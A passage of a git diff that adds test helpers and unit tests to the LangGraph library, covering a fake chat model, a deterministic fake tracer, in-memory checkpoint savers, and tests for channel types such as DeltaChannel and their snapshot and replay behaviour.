}, + { + "id": "tool_call567", + "name": "search_api", + "args": {"query": "a third one", "idx": 1}, + }, + ], + ), + AIMessage(id="ai3", content="answer"), + ] + ) + return model + + +@task +def foo(): + return "foo" + + +@entrypoint() +async def app(state: AgentState) -> AgentState: + model = get_model() + max_steps = 100 + messages = state["messages"][:] + await foo() # Very useful call here ya know. + for _ in range(max_steps): + message = await model.ainvoke(messages) + messages.append(message) + if not message.tool_calls: + break + # Assume it's the search tool + tool_results = await search_api.abatch( + [t["args"]["query"] for t in message.tool_calls] + ) + messages.extend( + [ + ToolMessage(content=tool_res, tool_call_id=tc["id"]) + for tc, tool_res in zip(message.tool_calls, tool_results) + ] + ) + + return entrypoint.final(value=messages[-1], save={"messages": messages}) diff --git a/libs/langgraph/tests/example_app/langgraph.json b/libs/langgraph/tests/example_app/langgraph.json new file mode 100644 index 0000000..5d0a88e --- /dev/null +++ b/libs/langgraph/tests/example_app/langgraph.json @@ -0,0 +1,7 @@ +{ + "$schema": "https://langgra.ph/schema.json", + "graphs": { + "app": "tests/example_app/example_graph.py:app" + }, + "dependencies": ["tests/example_app"] +} diff --git a/libs/langgraph/tests/example_app/requirements.txt b/libs/langgraph/tests/example_app/requirements.txt new file mode 100644 index 0000000..b3557ec --- /dev/null +++ b/libs/langgraph/tests/example_app/requirements.txt @@ -0,0 +1,2 @@ +langchain-core +-e . \ No newline at end of file diff --git a/libs/langgraph/tests/fake_chat.py b/libs/langgraph/tests/fake_chat.py new file mode 100644 index 0000000..827089d --- /dev/null +++ b/libs/langgraph/tests/fake_chat.py @@ -0,0 +1,157 @@ +import re +from collections.abc import AsyncIterator, Iterator +from typing import Any, cast + +from langchain_core.callbacks import ( + AsyncCallbackManagerForLLMRun, + CallbackManagerForLLMRun, +) +from langchain_core.language_models.fake_chat_models import GenericFakeChatModel +from langchain_core.messages import AIMessage, AIMessageChunk, BaseMessage +from langchain_core.outputs import ChatGeneration, ChatGenerationChunk, ChatResult + + +class FakeChatModel(GenericFakeChatModel): + messages: list[BaseMessage] + + i: int = 0 + + def bind_tools(self, functions: list): + return self + + def _generate( + self, + messages: list[BaseMessage], + stop: list[str] | None = None, + run_manager: CallbackManagerForLLMRun | None = None, + **kwargs: Any, + ) -> ChatResult: + """Top Level call""" + if self.i >= len(self.messages): + self.i = 0 + message = self.messages[self.i] + self.i += 1 + if isinstance(message, str): + message_ = AIMessage(content=message) + else: + if hasattr(message, "model_copy"): + message_ = message.model_copy() + else: + message_ = message.copy() + generation = ChatGeneration(message=message_) + return ChatResult(generations=[generation]) + + def _stream( + self, + messages: list[BaseMessage], + stop: list[str] | None = None, + run_manager: CallbackManagerForLLMRun | None = None, + **kwargs: Any, + ) -> Iterator[ChatGenerationChunk]: + """Stream the output of the model.""" + chat_result = self._generate( + messages, stop=stop, run_manager=run_manager, **kwargs + ) + if not isinstance(chat_result, ChatResult): + raise ValueError( + f"Expected generate to return a ChatResult, " + f"but got {type(chat_result)} instead." + ) + + message = chat_result.generations[0].message + + if not isinstance(message, AIMessage): + raise ValueError( + f"Expected invoke to return an AIMessage, " + f"but got {type(message)} instead." + ) + + content = message.content + + if content: + # Use a regular expression to split on whitespace with a capture group + # so that we can preserve the whitespace in the output. + assert isinstance(content, str) + content_chunks = cast(list[str], re.split(r"(\s)", content)) + + for i, token in enumerate(content_chunks): + if i == len(content_chunks) - 1: + chunk = ChatGenerationChunk( + message=AIMessageChunk( + content=token, id=message.id, chunk_position="last" + ) + ) + else: + chunk = ChatGenerationChunk( + message=AIMessageChunk(content=token, id=message.id) + ) + if run_manager: + run_manager.on_llm_new_token(token, chunk=chunk) + yield chunk + else: + args = message.__dict__ + args.pop("type") + chunk = ChatGenerationChunk( + message=AIMessageChunk(**args, chunk_position="last") + ) + if run_manager: + run_manager.on_llm_new_token("", chunk=chunk) + yield chunk + + async def _astream( + self, + messages: list[BaseMessage], + stop: list[str] | None = None, + run_manager: AsyncCallbackManagerForLLMRun | None = None, + **kwargs: Any, + ) -> AsyncIterator[ChatGenerationChunk]: + """Stream the output of the model.""" + chat_result = self._generate( + messages, stop=stop, run_manager=run_manager, **kwargs + ) + if not isinstance(chat_result, ChatResult): + raise ValueError( + f"Expected generate to return a ChatResult, " + f"but got {type(chat_result)} instead." + ) + + message = chat_result.generations[0].message + + if not isinstance(message, AIMessage): + raise ValueError( + f"Expected invoke to return an AIMessage, " + f"but got {type(message)} instead." + ) + + content = message.content + + if content: + # Use a regular expression to split on whitespace with a capture group + # so that we can preserve the whitespace in the output. + assert isinstance(content, str) + content_chunks = cast(list[str], re.split(r"(\s)", content)) + + for i, token in enumerate(content_chunks): + if i == len(content_chunks) - 1: + chunk = ChatGenerationChunk( + message=AIMessageChunk( + content=token, id=message.id, chunk_position="last" + ) + ) + else: + chunk = ChatGenerationChunk( + message=AIMessageChunk(content=token, id=message.id) + ) + + if run_manager: + run_manager.on_llm_new_token(token, chunk=chunk) + yield chunk + else: + args = message.__dict__ + args.pop("type") + chunk = ChatGenerationChunk( + message=AIMessageChunk(**args, chunk_position="last") + ) + if run_manager: + await run_manager.on_llm_new_token("", chunk=chunk) + yield chunk diff --git a/libs/langgraph/tests/fake_tracer.py b/libs/langgraph/tests/fake_tracer.py new file mode 100644 index 0000000..3713398 --- /dev/null +++ b/libs/langgraph/tests/fake_tracer.py @@ -0,0 +1,91 @@ +from typing import Any +from uuid import UUID + +from langchain_core.messages.base import BaseMessage +from langchain_core.outputs.chat_generation import ChatGeneration +from langchain_core.outputs.llm_result import LLMResult +from langchain_core.tracers import BaseTracer, Run + + +class FakeTracer(BaseTracer): + """Fake tracer that records LangChain execution. + It replaces run ids with deterministic UUIDs for snapshotting.""" + + def __init__(self) -> None: + """Initialize the tracer.""" + super().__init__() + self.runs: list[Run] = [] + self.uuids_map: dict[UUID, UUID] = {} + self.uuids_generator = ( + UUID(f"00000000-0000-4000-8000-{i:012}", version=4) for i in range(10000) + ) + + def _replace_uuid(self, uuid: UUID) -> UUID: + if uuid not in self.uuids_map: + self.uuids_map[uuid] = next(self.uuids_generator) + return self.uuids_map[uuid] + + def _replace_message_id(self, maybe_message: Any) -> Any: + if isinstance(maybe_message, BaseMessage): + maybe_message.id = str(next(self.uuids_generator)) + if isinstance(maybe_message, ChatGeneration): + maybe_message.message.id = str(next(self.uuids_generator)) + if isinstance(maybe_message, LLMResult): + for i, gen_list in enumerate(maybe_message.generations): + for j, gen in enumerate(gen_list): + maybe_message.generations[i][j] = self._replace_message_id(gen) + if isinstance(maybe_message, dict): + for k, v in maybe_message.items(): + maybe_message[k] = self._replace_message_id(v) + if isinstance(maybe_message, list): + for i, v in enumerate(maybe_message): + maybe_message[i] = self._replace_message_id(v) + + return maybe_message + + def _copy_run(self, run: Run) -> Run: + if run.dotted_order: + levels = run.dotted_order.split(".") + processed_levels = [] + for level in levels: + timestamp, run_id = level.split("Z") + new_run_id = self._replace_uuid(UUID(run_id)) + processed_level = f"{timestamp}Z{new_run_id}" + processed_levels.append(processed_level) + new_dotted_order = ".".join(processed_levels) + else: + new_dotted_order = None + return run.copy( + update={ + "id": self._replace_uuid(run.id), + "parent_run_id": ( + self.uuids_map[run.parent_run_id] if run.parent_run_id else None + ), + "child_runs": [self._copy_run(child) for child in run.child_runs], + "trace_id": self._replace_uuid(run.trace_id) if run.trace_id else None, + "dotted_order": new_dotted_order, + "inputs": self._replace_message_id(run.inputs), + "outputs": self._replace_message_id(run.outputs), + } + ) + + def _persist_run(self, run: Run) -> None: + """Persist a run.""" + + self.runs.append(self._copy_run(run)) + + def flattened_runs(self) -> list[Run]: + q = [] + self.runs + result = [] + while q: + parent = q.pop() + result.append(parent) + if parent.child_runs: + q.extend(parent.child_runs) + return result + + @property + def run_ids(self) -> list[UUID | None]: + runs = self.flattened_runs() + uuids_map = {v: k for k, v in self.uuids_map.items()} + return [uuids_map.get(r.id) for r in runs] diff --git a/libs/langgraph/tests/memory_assert.py b/libs/langgraph/tests/memory_assert.py new file mode 100644 index 0000000..d9ca490 --- /dev/null +++ b/libs/langgraph/tests/memory_assert.py @@ -0,0 +1,101 @@ +import os +import tempfile +from collections import defaultdict +from functools import partial +from typing import Any + +from langchain_core.runnables import RunnableConfig +from langgraph.checkpoint.base import ( + BaseCheckpointSaver, + ChannelVersions, + Checkpoint, + CheckpointMetadata, + CheckpointTuple, + SerializerProtocol, +) +from langgraph.checkpoint.memory import InMemorySaver, PersistentDict + +from langgraph.constants import TASKS + + +class NoopSerializer(SerializerProtocol): + def loads_typed(self, data: tuple[str, bytes]) -> Any: + return data[1] + + def dumps_typed(self, obj: Any) -> tuple[str, bytes]: + return "type", obj + + +class MemorySaverNeedsPendingSendsMigration(BaseCheckpointSaver): + def __init__(self) -> None: + self.saver = InMemorySaver() + + def __getattribute__(self, name): + if name in ("saver", "__class__", "get_tuple"): + return object.__getattribute__(self, name) + return getattr(self.saver, name) + + def get_tuple(self, config): + if tup := self.saver.get_tuple(config): + if tup.checkpoint["v"] == 4 and tup.checkpoint["channel_values"].get(TASKS): + tup.checkpoint["v"] = 3 + tup.checkpoint["pending_sends"] = tup.checkpoint["channel_values"].pop( + TASKS + ) + tup.checkpoint["channel_versions"].pop(TASKS) + for seen in tup.checkpoint["versions_seen"].values(): + seen.pop(TASKS, None) + return tup + + +class MemorySaverAssertImmutable(InMemorySaver): + storage_for_copies: defaultdict[str, dict[str, dict[str, Checkpoint]]] + + def __init__( + self, + *, + serde: SerializerProtocol | None = None, + put_sleep: float | None = None, + ) -> None: + _, filename = tempfile.mkstemp() + super().__init__( + serde=serde, factory=partial(PersistentDict, filename=filename) + ) + self.storage_for_copies = defaultdict(lambda: defaultdict(dict)) + self.put_sleep = put_sleep + self.stack.callback(os.remove, filename) + + def put( + self, + config: dict, + checkpoint: Checkpoint, + metadata: CheckpointMetadata, + new_versions: ChannelVersions, + ) -> None: + if self.put_sleep: + import time + + time.sleep(self.put_sleep) + # assert checkpoint hasn't been modified since last written + thread_id = config["configurable"]["thread_id"] + checkpoint_ns = config["configurable"]["checkpoint_ns"] + if saved := super().get(config): + assert ( + self.serde.loads_typed( + self.storage_for_copies[thread_id][checkpoint_ns][saved["id"]] + ) + == saved + ), config["configurable"]["checkpoint_ns"] + self.storage_for_copies[thread_id][checkpoint_ns][checkpoint["id"]] = ( + self.serde.dumps_typed(checkpoint) + ) + # call super to write checkpoint + return super().put(config, checkpoint, metadata, new_versions) + + +class MemorySaverNoPending(InMemorySaver): + def get_tuple(self, config: RunnableConfig) -> CheckpointTuple | None: + result = super().get_tuple(config) + if result: + return CheckpointTuple(result.config, result.checkpoint, result.metadata) + return result diff --git a/libs/langgraph/tests/messages.py b/libs/langgraph/tests/messages.py new file mode 100644 index 0000000..ecc657a --- /dev/null +++ b/libs/langgraph/tests/messages.py @@ -0,0 +1,50 @@ +"""Redefined messages as a work-around for pydantic issue with AnyStr. + +The code below creates version of pydantic models +that will work in unit tests with AnyStr as id field +Please note that the `id` field is assigned AFTER the model is created +to workaround an issue with pydantic ignoring the __eq__ method on +subclassed strings. +""" + +from typing import Any + +from langchain_core.documents import Document +from langchain_core.messages import AIMessage, AIMessageChunk, HumanMessage, ToolMessage + +from tests.any_str import AnyStr + + +def _AnyIdDocument(**kwargs: Any) -> Document: + """Create a document with an id field.""" + message = Document(**kwargs) + message.id = AnyStr() + return message + + +def _AnyIdAIMessage(**kwargs: Any) -> AIMessage: + """Create ai message with an any id field.""" + message = AIMessage(**kwargs) + message.id = AnyStr() + return message + + +def _AnyIdAIMessageChunk(**kwargs: Any) -> AIMessageChunk: + """Create ai message with an any id field.""" + message = AIMessageChunk(**kwargs) + message.id = AnyStr() + return message + + +def _AnyIdHumanMessage(**kwargs: Any) -> HumanMessage: + """Create a human message with an any id field.""" + message = HumanMessage(**kwargs) + message.id = AnyStr() + return message + + +def _AnyIdToolMessage(**kwargs: Any) -> ToolMessage: + """Create a tool message with an any id field.""" + message = ToolMessage(**kwargs) + message.id = AnyStr() + return message diff --git a/libs/langgraph/tests/test_algo.py b/libs/langgraph/tests/test_algo.py new file mode 100644 index 0000000..0bf9881 --- /dev/null +++ b/libs/langgraph/tests/test_algo.py @@ -0,0 +1,67 @@ +from langgraph._internal._constants import PULL, PUSH +from langgraph.pregel._algo import prepare_next_tasks, task_path_str +from langgraph.pregel._checkpoint import channels_from_checkpoint, empty_checkpoint + + +def test_prepare_next_tasks() -> None: + config = {} + processes = {} + checkpoint = empty_checkpoint() + channels, managed = channels_from_checkpoint({}, checkpoint) + + assert ( + prepare_next_tasks( + checkpoint, + {}, + processes, + channels, + managed, + config, + 0, + -1, + for_execution=False, + ) + == {} + ) + assert ( + prepare_next_tasks( + checkpoint, + {}, + processes, + channels, + managed, + config, + 0, + -1, + for_execution=True, + checkpointer=None, + store=None, + manager=None, + ) + == {} + ) + + # TODO: add more tests + + +def test_tuple_str() -> None: + push_path_a = (PUSH, 2) + pull_path_a = (PULL, "abc") + push_path_b = (PUSH, push_path_a, 1) + push_path_c = (PUSH, push_path_b, 3) + + assert task_path_str(push_path_a) == f"~{PUSH}, 0000000002" + assert task_path_str(push_path_b) == f"~{PUSH}, ~{PUSH}, 0000000002, 0000000001" + assert ( + task_path_str(push_path_c) + == f"~{PUSH}, ~{PUSH}, ~{PUSH}, 0000000002, 0000000001, 0000000003" + ) + assert task_path_str(pull_path_a) == f"~{PULL}, abc" + + path_list = [push_path_b, push_path_a, pull_path_a, push_path_c] + assert sorted(map(task_path_str, path_list)) == [ + f"~{PULL}, abc", + f"~{PUSH}, 0000000002", + f"~{PUSH}, ~{PUSH}, 0000000002, 0000000001", + f"~{PUSH}, ~{PUSH}, ~{PUSH}, 0000000002, 0000000001, 0000000003", + ] diff --git a/libs/langgraph/tests/test_channels.py b/libs/langgraph/tests/test_channels.py new file mode 100644 index 0000000..0e7e512 --- /dev/null +++ b/libs/langgraph/tests/test_channels.py @@ -0,0 +1,803 @@ +import operator +from collections.abc import Sequence +from typing import Annotated + +import pytest +from langchain_core.messages import AIMessage, HumanMessage, RemoveMessage +from langgraph.checkpoint.memory import InMemorySaver +from langgraph.checkpoint.serde.types import _DeltaSnapshot +from typing_extensions import NotRequired, TypedDict + +from langgraph._internal._typing import MISSING +from langgraph.channels.binop import BinaryOperatorAggregate +from langgraph.channels.delta import DeltaChannel +from langgraph.channels.last_value import LastValue +from langgraph.channels.topic import Topic +from langgraph.channels.untracked_value import UntrackedValue +from langgraph.errors import EmptyChannelError, InvalidUpdateError +from langgraph.graph import START, StateGraph +from langgraph.graph.message import _messages_delta_reducer +from langgraph.graph.state import _get_channel +from langgraph.types import Overwrite + +pytestmark = pytest.mark.anyio + + +# --------------------------------------------------------------------------- +# Core channel primitives +# --------------------------------------------------------------------------- + + +def test_last_value() -> None: + channel = LastValue(int).from_checkpoint(MISSING) + assert channel.ValueType is int + assert channel.UpdateType is int + + with pytest.raises(EmptyChannelError): + channel.get() + with pytest.raises(InvalidUpdateError): + channel.update([5, 6]) + + channel.update([3]) + assert channel.get() == 3 + channel.update([4]) + assert channel.get() == 4 + checkpoint = channel.checkpoint() + channel = LastValue(int).from_checkpoint(checkpoint) + assert channel.get() == 4 + + +def test_topic() -> None: + channel = Topic(str).from_checkpoint(MISSING) + assert channel.ValueType == Sequence[str] + assert channel.UpdateType == str | list[str] + + assert channel.update(["a", "b"]) + assert channel.get() == ["a", "b"] + assert channel.update([["c", "d"], "d"]) + assert channel.get() == ["c", "d", "d"] + assert channel.update([]) + with pytest.raises(EmptyChannelError): + channel.get() + assert not channel.update([]), "channel already empty" + assert channel.update(["e"]) + assert channel.get() == ["e"] + checkpoint = channel.checkpoint() + channel = Topic(str).from_checkpoint(checkpoint) + assert channel.get() == ["e"] + channel_copy = Topic(str).from_checkpoint(checkpoint) + channel_copy.update(["f"]) + assert channel_copy.get() == ["f"] + assert channel.get() == ["e"] + + +def test_topic_accumulate() -> None: + channel = Topic(str, accumulate=True).from_checkpoint(MISSING) + assert channel.ValueType == Sequence[str] + assert channel.UpdateType == str | list[str] + + assert channel.update(["a", "b"]) + assert channel.get() == ["a", "b"] + assert channel.update(["b", ["c", "d"], "d"]) + assert channel.get() == ["a", "b", "b", "c", "d", "d"] + assert not channel.update([]) + assert channel.get() == ["a", "b", "b", "c", "d", "d"] + checkpoint = channel.checkpoint() + channel = Topic(str, accumulate=True).from_checkpoint(checkpoint) + assert channel.get() == ["a", "b", "b", "c", "d", "d"] + assert channel.update(["e"]) + assert channel.get() == ["a", "b", "b", "c", "d", "d", "e"] + + +def test_binop() -> None: + channel = BinaryOperatorAggregate(int, operator.add).from_checkpoint(MISSING) + assert channel.ValueType is int + assert channel.UpdateType is int + + assert channel.get() == 0 + + channel.update([1, 2, 3]) + assert channel.get() == 6 + channel.update([4]) + assert channel.get() == 10 + checkpoint = channel.checkpoint() + channel = BinaryOperatorAggregate(int, operator.add).from_checkpoint(checkpoint) + assert channel.get() == 10 + + +def test_untracked_value() -> None: + channel = UntrackedValue(dict).from_checkpoint(MISSING) + assert channel.ValueType is dict + assert channel.UpdateType is dict + + with pytest.raises(EmptyChannelError): + channel.get() + + test_data = {"session": "test", "temp": "dir"} + channel.update([test_data]) + assert channel.get() == test_data + + new_data = {"session": "updated", "temp": "newdir"} + channel.update([new_data]) + assert channel.get() == new_data + + checkpoint = channel.checkpoint() + assert checkpoint is MISSING + + new_channel = UntrackedValue(dict).from_checkpoint(checkpoint) + with pytest.raises(EmptyChannelError): + new_channel.get() + + +# --------------------------------------------------------------------------- +# DeltaChannel — message reducer +# --------------------------------------------------------------------------- + + +def test_delta_channel_basic_two_steps() -> None: + ch = DeltaChannel(_messages_delta_reducer, list).from_checkpoint(MISSING) + + ch.update([HumanMessage(content="hi", id="h1")]) + d1 = ch.checkpoint() + assert d1 is MISSING + + ch.update([AIMessage(content="hello", id="a1")]) + d2 = ch.checkpoint() + assert d2 is MISSING + + assert len(ch.get()) == 2 + assert ch.get()[0].content == "hi" + assert ch.get()[1].content == "hello" + + +def test_delta_channel_from_checkpoint_writes_list() -> None: + """replay_writes on a fresh channel replays through the operator.""" + spec = DeltaChannel(_messages_delta_reducer, list) + ch = spec.from_checkpoint(MISSING) + ch.replay_writes( + [ + ("t0", "messages", HumanMessage(content="hi", id="h1")), + ("t1", "messages", AIMessage(content="hello", id="a1")), + ("t2", "messages", HumanMessage(content="bye", id="h2")), + ] + ) + msgs = ch.get() + assert len(msgs) == 3 + assert msgs[0].content == "hi" + assert msgs[1].content == "hello" + assert msgs[2].content == "bye" + + +def test_delta_channel_from_checkpoint_backwards_compat() -> None: + spec = DeltaChannel(_messages_delta_reducer, list) + old_value = [HumanMessage(content="old", id="h1")] + ch = spec.from_checkpoint(old_value) + assert ch.get() == old_value + + +def test_delta_channel_overwrite() -> None: + ch = DeltaChannel(_messages_delta_reducer, list).from_checkpoint(MISSING) + ch.update([HumanMessage(content="old", id="h1")]) + + ch.update([Overwrite([HumanMessage(content="new", id="h2")])]) + d = ch.checkpoint() + assert d is MISSING + assert len(ch.get()) == 1 + assert ch.get()[0].content == "new" + + +def test_overwrite_dataclass_form_survives_json_roundtrip() -> None: + """`Overwrite` serialised with `orjson` collapses to a plain dict but + must still be recognised as an overwrite by the channel reducer. + + Without the `type` discriminator the dataclass-erased shape (`{"value": + ...}`) is indistinguishable from a literal channel value, and downstream + reducers raise `MESSAGE_COERCION_FAILURE` (or similar) on read. + """ + import orjson + + from langgraph._internal._constants import OVERWRITE + from langgraph.channels.binop import _get_overwrite + + ow = Overwrite(value=[HumanMessage(content="new", id="h2")]) + erased = orjson.loads(orjson.dumps(ow, default=lambda o: o.model_dump())) + + assert erased["type"] == OVERWRITE + is_overwrite, value = _get_overwrite(erased) + assert is_overwrite + assert isinstance(value, list) + assert value[0]["content"] == "new" + + +def test_overwrite_sentinel_dict_still_recognised() -> None: + """The pre-existing `{"__overwrite__": value}` dict form continues to be + recognised. This is the canonical sentinel emitted by producers that do + not have an `Overwrite` dataclass available.""" + from langgraph._internal._constants import OVERWRITE + from langgraph.channels.binop import _get_overwrite + + is_overwrite, value = _get_overwrite({OVERWRITE: ["b"]}) + assert is_overwrite + assert value == ["b"] + + +def test_overwrite_non_matching_dict_not_recognised() -> None: + """Dicts that resemble the erased shape but do not carry the + `__overwrite__` discriminator must not be misclassified as overwrites.""" + from langgraph.channels.binop import _get_overwrite + + assert _get_overwrite({"value": ["b"]}) == (False, None) + assert _get_overwrite({"type": "human", "value": "hi"}) == (False, None) + + +def test_delta_channel_remove_message_and_replay() -> None: + """RemoveMessage must round-trip correctly when writes are replayed.""" + spec = DeltaChannel(_messages_delta_reducer, list) + ch = spec.from_checkpoint(MISSING) + + ch.update([HumanMessage(content="hi", id="h1")]) + ch.update([AIMessage(content="hello", id="a1")]) + assert ch.get() == [ + HumanMessage(content="hi", id="h1"), + AIMessage(content="hello", id="a1"), + ] + + ch.update([RemoveMessage(id="a1")]) + assert ch.get() == [HumanMessage(content="hi", id="h1")] + + ch2 = spec.from_checkpoint(MISSING) + ch2.replay_writes( + [ + ("t0", "messages", HumanMessage(content="hi", id="h1")), + ("t1", "messages", AIMessage(content="hello", id="a1")), + ("t2", "messages", RemoveMessage(id="a1")), + ] + ) + assert ch2.get() == [HumanMessage(content="hi", id="h1")] + + +def test_delta_channel_update_by_id_and_replay() -> None: + """Updating a message by ID must round-trip correctly through writes replay.""" + spec = DeltaChannel(_messages_delta_reducer, list) + ch = spec.from_checkpoint(MISSING) + + ch.update([HumanMessage(content="original", id="h1")]) + ch.update([HumanMessage(content="updated", id="h1")]) + assert ch.get() == [HumanMessage(content="updated", id="h1")] + + ch2 = spec.from_checkpoint(MISSING) + ch2.replay_writes( + [ + ("t0", "messages", HumanMessage(content="original", id="h1")), + ("t1", "messages", HumanMessage(content="updated", id="h1")), + ] + ) + assert len(ch2.get()) == 1 + assert ch2.get()[0].content == "updated" + + +def test_delta_channel_dict_coercion() -> None: + """_messages_delta_reducer coerces dict writes to BaseMessage objects. + + HTTP-driven input always arrives as JSON dicts. The reducer must coerce + them (same contract as add_messages) so graphs work without a separate + coercion step. + """ + ch = DeltaChannel(_messages_delta_reducer, list).from_checkpoint(MISSING) + + # dict input — simulates what arrives from the HTTP API + ch.update([{"role": "human", "content": "hello", "id": "h1"}]) + assert len(ch.get()) == 1 + assert isinstance(ch.get()[0], HumanMessage) + assert ch.get()[0].content == "hello" + assert ch.get()[0].id == "h1" + + # update by ID via dict + ch.update([{"role": "ai", "content": "world", "id": "h1"}]) + assert len(ch.get()) == 1 + assert ch.get()[0].content == "world" + + # remove via RemoveMessage instance (same contract as add_messages) + ch.update([RemoveMessage(id="h1")]) + assert ch.get() == [] + + +def test_messages_delta_reducer_coerces_state() -> None: + """State (left side) is coerced when raw — supports raw initial input + and deserialized blobs. The steady-state path (state already typed) + short-circuits and skips coercion. + """ + state = [{"role": "human", "content": "hello", "id": "h1"}] + writes = [[{"role": "ai", "content": "world", "id": "h1"}]] + result = _messages_delta_reducer(state, writes) # type: ignore[arg-type] + assert len(result) == 1 + assert isinstance(result[0], AIMessage) + assert result[0].content == "world" + assert result[0].id == "h1" + + +def test_messages_delta_reducer_tuple_write_is_one_message() -> None: + """A top-level tuple write is one message-like, not a sequence to flatten. + + `("user", "hi")` is a valid `MessageLikeRepresentation`; flattening it + would produce two HumanMessages ("user", "hi") instead of one. + """ + result = _messages_delta_reducer([], [("user", "hi")]) # type: ignore[arg-type] + assert len(result) == 1 + assert isinstance(result[0], HumanMessage) + assert result[0].content == "hi" + + +def test_delta_channel_checkpoint_returns_missing() -> None: + """checkpoint() always returns MISSING regardless of state. + + Pregel writes `_DeltaSnapshot(ch.get())` directly into `channel_values` + on snapshot steps; the channel itself never participates in snapshot + serialization, so its `checkpoint()` is always the absence sentinel. + """ + ch = DeltaChannel(_messages_delta_reducer, list).from_checkpoint(MISSING) + assert ch.checkpoint() is MISSING + + ch.update([HumanMessage(content="hi", id="h1")]) + assert ch.checkpoint() is MISSING + + +# --------------------------------------------------------------------------- +# DeltaChannel — snapshot frequency +# --------------------------------------------------------------------------- + + +def test_delta_channel_snapshot_version_based() -> None: + """Snapshots fire when a channel accumulates `snapshot_frequency` updates. + + Under the version-delta cadence, every time the channel's + `current_version - last_snapshot_version >= snapshot_frequency` a + `_DeltaSnapshot` blob is written. Bounds the ancestor walk to at most + `snapshot_frequency` steps on any read for that channel. + """ + + class State(TypedDict): + messages: Annotated[ + list, DeltaChannel(_messages_delta_reducer, snapshot_frequency=5) + ] + other: str + + def node_a(state: State) -> dict: + i = len(state["messages"]) // 2 + return {"messages": [AIMessage(content=f"a{i}", id=f"a{i}")]} + + def node_b(state: State) -> dict: + return {"other": "y"} + + g = StateGraph(State) + g.add_node("a", node_a) + g.add_node("b", node_b) + g.add_edge(START, "a") + g.add_edge("a", "b") + saver = InMemorySaver() + graph = g.compile(checkpointer=saver) + + config = {"configurable": {"thread_id": "t1"}} + for i in range(6): + graph.invoke( + {"messages": [HumanMessage(content=f"h{i}", id=f"h{i}")], "other": ""}, + config, + ) + + msg_blob_values = [ + saver.serde.loads_typed((type_tag, blob)) + for k, (type_tag, blob) in saver.blobs.items() + if k[2] == "messages" and type_tag == "msgpack" and blob + ] + snapshots = [v for v in msg_blob_values if isinstance(v, _DeltaSnapshot)] + assert snapshots, "expected at least one _DeltaSnapshot blob for messages" + + state = graph.get_state(config) + assert len(state.values["messages"]) == 12 # 6 human + 6 AI + + +# TODO(delta-channel-cadence): the previous "snapshot fires even when channel +# was not written" test asserted eager step-based snapshotting; under the new +# version-delta cadence (`should_snapshot` triggers on per-channel update +# count, not superstep count), no snapshot fires for an unwritten channel. +# Replace with a test that exercises the version-delta trigger plus the +# durability="exit" force-snapshot branch — see +# `docs/superpowers/specs/2026-05-04-delta-channel-batched-reads-design.md` +# section "Snapshot cadence". + + +# --------------------------------------------------------------------------- +# DeltaChannel — end-to-end (InMemorySaver) +# --------------------------------------------------------------------------- + + +def test_delta_channel_inmemory_saver_assembles_writes() -> None: + """InMemorySaver assembles writes from checkpoint_writes inside get_tuple.""" + + class State(TypedDict): + messages: Annotated[list, DeltaChannel(_messages_delta_reducer, list)] + + n = {"v": 0} + + def respond(state: State) -> dict: + n["v"] += 1 + return {"messages": [AIMessage(content=f"ok{n['v']}", id=f"ai{n['v']}")]} + + builder = StateGraph(State) + builder.add_node("respond", respond) + builder.add_edge(START, "respond") + saver = InMemorySaver() + graph = builder.compile(checkpointer=saver) + config = {"configurable": {"thread_id": "t1"}} + + graph.invoke({"messages": [HumanMessage(content="hi", id="h1")]}, config) + graph.invoke({"messages": [HumanMessage(content="bye", id="h2")]}, config) + + saved = saver.get_tuple(config) + assert saved is not None + assert "messages" not in saved.checkpoint["channel_values"] + + state = graph.get_state(config) + assert len(state.values["messages"]) == 4 # 2 human + 2 AI + + +def test_delta_channel_overwrite_superstep_snapshots() -> None: + def reducer(state: list[str], writes: Sequence[list[str]]) -> list[str]: + result = list(state) + for write in writes: + result.extend(write) + return result + + class State(TypedDict): + items: Annotated[ + list[str], DeltaChannel(reducer, list, snapshot_frequency=1000) + ] + + def node_a(state: State) -> dict: + return {"items": ["a"]} + + def node_b(state: State) -> dict: + return {"items": Overwrite(["b"])} + + def node_c(state: State) -> dict: + return {"items": ["c"]} + + builder = StateGraph(State) + builder.add_node("node_a", node_a) + builder.add_node("node_b", node_b) + builder.add_node("node_c", node_c) + builder.add_edge(START, "node_a") + builder.add_edge("node_a", "node_b") + builder.add_edge("node_a", "node_c") + + saver = InMemorySaver() + graph = builder.compile(checkpointer=saver) + config = {"configurable": {"thread_id": "overwrite-snapshot"}} + + result = graph.invoke({"items": ["START"]}, config) + assert result == {"items": ["b"]} + + saved = saver.get_tuple(config) + assert saved is not None + snapshot = saved.checkpoint["channel_values"].get("items") + assert isinstance(snapshot, _DeltaSnapshot) + assert snapshot.value == ["b"] + assert saved.metadata.get("counters_since_delta_snapshot", {}).get("items") is None + + +def test_delta_channel_replay_after_overwrite_snapshot() -> None: + def reducer(state: list[str], writes: Sequence[list[str]]) -> list[str]: + result = list(state) + for write in writes: + result.extend(write) + return result + + class State(TypedDict): + items: Annotated[ + list[str], DeltaChannel(reducer, list, snapshot_frequency=1000) + ] + + calls = 0 + + def node(state: State) -> dict: + nonlocal calls + calls += 1 + if calls == 1: + return {"items": Overwrite(["reset"])} + return {"items": ["after"]} + + builder = StateGraph(State) + builder.add_node("node", node) + builder.add_edge(START, "node") + + saver = InMemorySaver() + graph = builder.compile(checkpointer=saver) + config = {"configurable": {"thread_id": "overwrite-replay"}} + + assert graph.invoke({"items": ["before"]}, config) == {"items": ["reset"]} + first_saved = saver.get_tuple(config) + assert first_saved is not None + assert isinstance( + first_saved.checkpoint["channel_values"].get("items"), _DeltaSnapshot + ) + + assert graph.invoke({"items": []}, config) == {"items": ["reset", "after"]} + second_saved = saver.get_tuple(config) + assert second_saved is not None + assert "items" not in second_saved.checkpoint["channel_values"] + assert graph.get_state(config).values == {"items": ["reset", "after"]} + + +# --------------------------------------------------------------------------- +# DeltaChannel — dict reducer +# --------------------------------------------------------------------------- + + +def _delta_channel_with_type(op, typ): + """Build a DeltaChannel with an explicit type via the Annotated injection path.""" + return _get_channel("_test", Annotated[typ, DeltaChannel(op)]) + + +def test_delta_channel_dict_reducer_fresh_channel() -> None: + """DeltaChannel with a dict reducer starts as empty dict on MISSING checkpoint.""" + + def merge_dicts(state: dict, writes: list) -> dict: + result = dict(state) + for w in writes: + result.update(w) + return result + + ch = _delta_channel_with_type(merge_dicts, dict).from_checkpoint(MISSING) + assert ch.is_available() + assert ch.get() == {} + + +def test_delta_channel_dict_reducer_basic_updates() -> None: + """DeltaChannel with a dict reducer accumulates key/value pairs across steps.""" + + def 